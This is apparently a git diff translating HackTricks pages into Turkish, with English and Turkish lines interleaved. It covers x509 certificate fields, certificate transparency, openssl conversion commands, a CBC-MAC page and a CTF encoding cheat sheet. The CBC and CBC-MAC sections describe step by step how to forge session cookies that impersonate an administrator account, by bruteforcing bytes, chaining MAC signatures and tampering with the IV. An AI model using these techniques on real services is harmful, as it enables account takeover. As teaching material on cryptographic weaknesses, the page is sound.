Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. Bu alanların bir dökümü:
## x509 Common Fields
- **Sürüm Numarası**, x509 formatının sürümünü belirtir.
- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi (CA) sisteminde benzersiz olarak tanımlar, esasen iptal takibi için kullanılır.
- **Konu** alanı, sertifikanın sahibini temsil eder; bu bir makine, birey veya organizasyon olabilir. Detaylı kimlik bilgilerini içerir:
- **Ortak İsim (CN)**: Sertifika tarafından kapsanan alanlar.
- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar.
- **Ayrıcalıklı İsim (DN)**, tam konu kimliğini kapsar.
- **Verici**, sertifikayı kimlerin doğruladığını ve imzaladığını detaylandırır; CA için Konu ile benzer alt alanlar içerir.
- **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığını sağlamak için **Not Before** ve **Not After** zaman damgaları ile işaretlenir.
- **Açık Anahtar** bölümü, sertifikanın güvenliği için kritik olup, açık anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır; **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ince ayar yapmak için diğer özellikleri belirtir.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Anahtar Kullanımı ve Uzantılar**
- **Anahtar Kullanımı**, açık anahtarın kriptografik uygulamalarını tanımlar; örneğin dijital imza veya anahtar şifreleme.
- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır; örneğin, TLS sunucu kimlik doğrulaması için.
- **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve bunun bir CA veya son varlık sertifikası olup olmadığını tanımlar.
- **Konu Anahtar Tanımlayıcı** ve **Otorite Anahtar Tanımlayıcı** gibi tanımlayıcılar, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
- **Otorite Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, verici CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
- **CT Ön Sertifika SCT'leri**, sertifikaya kamu güveni için kritik olan şeffaflık günlükleri sunar.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**), bir istemci ve bir yanıtlayıcının, tam **CRL** indirmeye gerek kalmadan dijital kamu anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için birlikte çalışmasını içerir. Bu yöntem, iptal edilen sertifika seri numaralarının bir listesini sağlayan ancak potansiyel olarak büyük bir dosyanın indirilmesini gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) mevcuttur.
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Sertifika Şeffaflığı Nedir**
### **What is Certificate Transparency**
Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan adı sahipleri, CA'lar ve kullanıcılar tarafından görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Hedefleri şunlardır:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- CA'ların, alan adı sahibinin bilgisi olmadan bir alan için SSL sertifikası vermesini önlemek.
- Yanlış veya kötü niyetle verilmiş sertifikaların izlenmesi için açık bir denetim sistemi kurmak.
- Kullanıcıları sahte sertifikalardan korumak.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Sertifika Kayıtları**
#### **Certificate Logs**
Sertifika kayıtları, ağ hizmetleri tarafından tutulan, kamuya açık denetlenebilir, yalnızca ekleme yapılabilen sertifika kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme otoriteleri hem de kamu, bu kayıtlara sertifika gönderebilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit olmamakla birlikte, dünya genelinde binin altında olması beklenmektedir. Bu sunucular, CA'lar, ISP'ler veya herhangi bir ilgilenen taraf tarafından bağımsız olarak yönetilebilir.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Sorgu**
#### **Query**
Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumluluğu vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formatlar**
## **Formats**
### **PEM Formatı**
### **PEM Format**
- Sertifikalar için en yaygın kullanılan formattır.
- Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır.
- Yaygın uzantılar: .cer, .crt, .pem, .key.
- Öncelikle Apache ve benzeri sunucular tarafından kullanılır.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Formatı**
### **DER Format**
- Sertifikaların ikili formatıdır.
- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
- Yaygın uzantılar: .cer, .der.
- Genellikle Java platformları ile kullanılır.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Formatı**
### **P7B/PKCS#7 Format**
- Base64 ASCII formatında depolanır, uzantıları .p7b veya .p7c'dir.
- Sadece sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar.
- Microsoft Windows ve Java Tomcat tarafından desteklenir.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Formatı**
### **PFX/P12/PKCS#12 Format**
- Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
- Uzantılar: .pfx, .p12.
- Sertifika içe aktarma ve dışa aktarma için öncelikle Windows'ta kullanılır.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Format Dönüştürme**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**PEM dönüşümleri**, uyumluluk için gereklidir:
- **x509'dan PEM'e**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM'den DER'e**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER'den PEM'e**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM'den P7B'ye**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7'den PEM'e**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX dönüşümleri**, Windows'ta sertifikaları yönetmek için çok önemlidir:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX'ten PEM'e**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX'ten PKCS#8'e** iki adım içerir:
1. PFX'i PEM'e dönüştür
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. PEM'i PKCS8'e Dönüştür
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B'den PFX'e** geçmek için de iki komut gereklidir:
1. P7B'yi CER'ye dönüştür
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. CER ve Özel Anahtarı PFX'e Dönüştür
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **ASN.1 (DER/PEM) düzenleme** (sertifikalar veya neredeyse herhangi bir ASN.1 yapısıyla çalışır):
1. [asn1template](https://github.com/wllm-rbnt/asn1template/) klonlayın
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. DER/PEM'i OpenSSL'in üretim formatına dönüştürün
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. İhtiyaçlarınıza göre certificatename.tpl dosyasını düzenleyin
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Değiştirilmiş sertifikayı yeniden oluşturun
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
---
{{#include ../banners/hacktricks-training.md}}

44
src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Eğer **cookie** **sadece** **kullanıcı adı** ise (veya cookie'nin ilk kısmı kullanıcı adıysa) ve "**admin**" kullanıcı adını taklit etmek istiyorsanız. O zaman **"bdmin"** kullanıcı adını oluşturabilir ve **cookie'nin ilk baytını** **bruteforce** edebilirsiniz.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Şifre blok zincirleme mesaj doğrulama kodu** (**CBC-MAC**) kriptografide kullanılan bir yöntemdir. Bu yöntem, bir mesajı alıp blok blok şifreleyerek çalışır; her bloğun şifrelemesi, bir önceki bloğa bağlıdır. Bu süreç, **blokların bir zincirini** oluşturur ve orijinal mesajın tek bir bitini değiştirmek bile, şifrelenmiş verinin son bloğunda öngörülemeyen bir değişikliğe yol açar. Böyle bir değişikliği yapmak veya geri almak için şifreleme anahtarı gereklidir, bu da güvenliği sağlar.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Mesaj m'nin CBC-MAC'ını hesaplamak için, m'yi sıfır başlangıç vektörü ile CBC modunda şifreler ve son bloğu saklarsınız. Aşağıdaki şekil, bir bloktan oluşan bir mesajın CBC-MAC'ının hesaplanmasını tasvir etmektedir![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) gizli anahtar k ve bir blok şifre E kullanarak:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Güvenlik Açığı
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
CBC-MAC ile genellikle **kullanılan IV 0'dır**.\
Bu bir sorun çünkü 2 bilinen mesaj (`m1` ve `m2`) bağımsız olarak 2 imza (`s1` ve `s2`) üretecektir. Yani:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Sonra m1 ve m2'nin birleştirilmesiyle oluşan bir mesaj (m3) 2 imza (s31 ve s32) üretecektir:
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Bu, şifreleme anahtarını bilmeden hesaplanabilir.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
**Administrator** ismini **8bayt** bloklar halinde şifrelediğinizi hayal edin:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
**Administ** (m1) adında bir kullanıcı adı oluşturabilir ve imzayı (s1) alabilirsiniz.\
Sonra, `rator\00\00\00 XOR s1` sonucunu kullanarak bir kullanıcı adı oluşturabilirsiniz. Bu, `E(m2 XOR s1 XOR 0)` üretecektir ki bu da s32'dir.\
Artık s32'yi **Administrator** tam adı için imza olarak kullanabilirsiniz.
### Summary
### Özet
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. **Administ** (m1) kullanıcı adının imzasını alın, bu s1'dir.
2. **rator\x00\x00\x00 XOR s1 XOR 0** kullanıcı adının imzasını alın, bu s32'dir.
3. Cookie'yi s32 olarak ayarlayın ve bu, **Administrator** kullanıcısı için geçerli bir cookie olacaktır.
# Attack Controlling IV
# IV'yi Kontrol Etme Saldırısı
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Kullanılan IV'yi kontrol edebiliyorsanız, saldırı çok kolay olabilir.\
Eğer cookie sadece şifrelenmiş kullanıcı adıysa, "**administrator**" kullanıcısını taklit etmek için "**Administrator**" kullanıcısını oluşturabilir ve onun cookie'sini alabilirsiniz.\
Şimdi, IV'yi kontrol edebiliyorsanız, IV'nin ilk baytını değiştirebilir ve **IV\[0] XOR "A" == IV'\[0] XOR "a"** yaparak **Administrator** kullanıcısı için cookie'yi yeniden üretebilirsiniz. Bu cookie, başlangıç **IV** ile **administrator** kullanıcısını **taklit etmek** için geçerli olacaktır.
## References
## Referanslar
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Daha fazla bilgi için [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

148
src/crypto-and-stego/crypto-ctfs-tricks.md
View File

@ -4,7 +4,7 @@
## Online Hashes DBs
- _**Google it**_
- _**Google'la ara**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -19,13 +19,13 @@
## Magic Autosolvers
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modülü)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
Most of encoded data can be decoded with these 2 ressources:
Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Çok iyi!
#### Caesar - ROTx Autosolvers
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Tüm bu tabanları kontrol edin: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Ölü: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
